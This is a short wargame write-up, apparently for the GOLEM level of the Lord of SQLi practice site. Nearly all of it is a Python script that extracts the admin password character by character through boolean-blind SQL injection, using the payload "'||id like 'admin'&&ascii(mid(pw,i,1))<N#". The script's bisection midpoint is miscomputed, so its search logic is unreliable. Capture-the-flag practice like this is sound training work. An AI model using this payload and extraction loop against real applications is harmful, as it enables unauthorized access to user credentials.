WRITE UP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | import requests url = "http://los.rubiya.kr/golem_4b5202cfedd8160e73124b5234235ef5.php" session = {'PHPSESSID':'MY_SESSION'} data = {} flag="" print("[∞] flag : ",end='') for i in range(1,9): a=0 b=126 while b-a!=0: center = b-a//2 data['pw']="'||id like 'admin'&&ascii(mid(pw,"+str(i)+",1))<"+str(center)+"#" res = requests.get(url, params=data, cookies=session) if "Hello admin" in res.text: b=center-1 else: a=center print(chr(a),end='') flag = flag + chr(a) data['pw']=flag res = requests.get(url, params=data, cookies=session) if "Clear!" in res.text: print("\n[♪] GOLEM Clear!") | cs |
'Wargame > LOS(rubiya)' 카테고리의 다른 글
LOS :: 13번 BUGBEAR (0) | 2018.08.14 |
---|---|
LOS :: 12번 DARKKNIGHT (0) | 2018.08.14 |
LOS :: 10번 SKELETON (0) | 2018.08.14 |
LOS :: 9번 VAMPIRE (0) | 2018.08.14 |
LOS :: 8번 TROLL (0) | 2018.08.14 |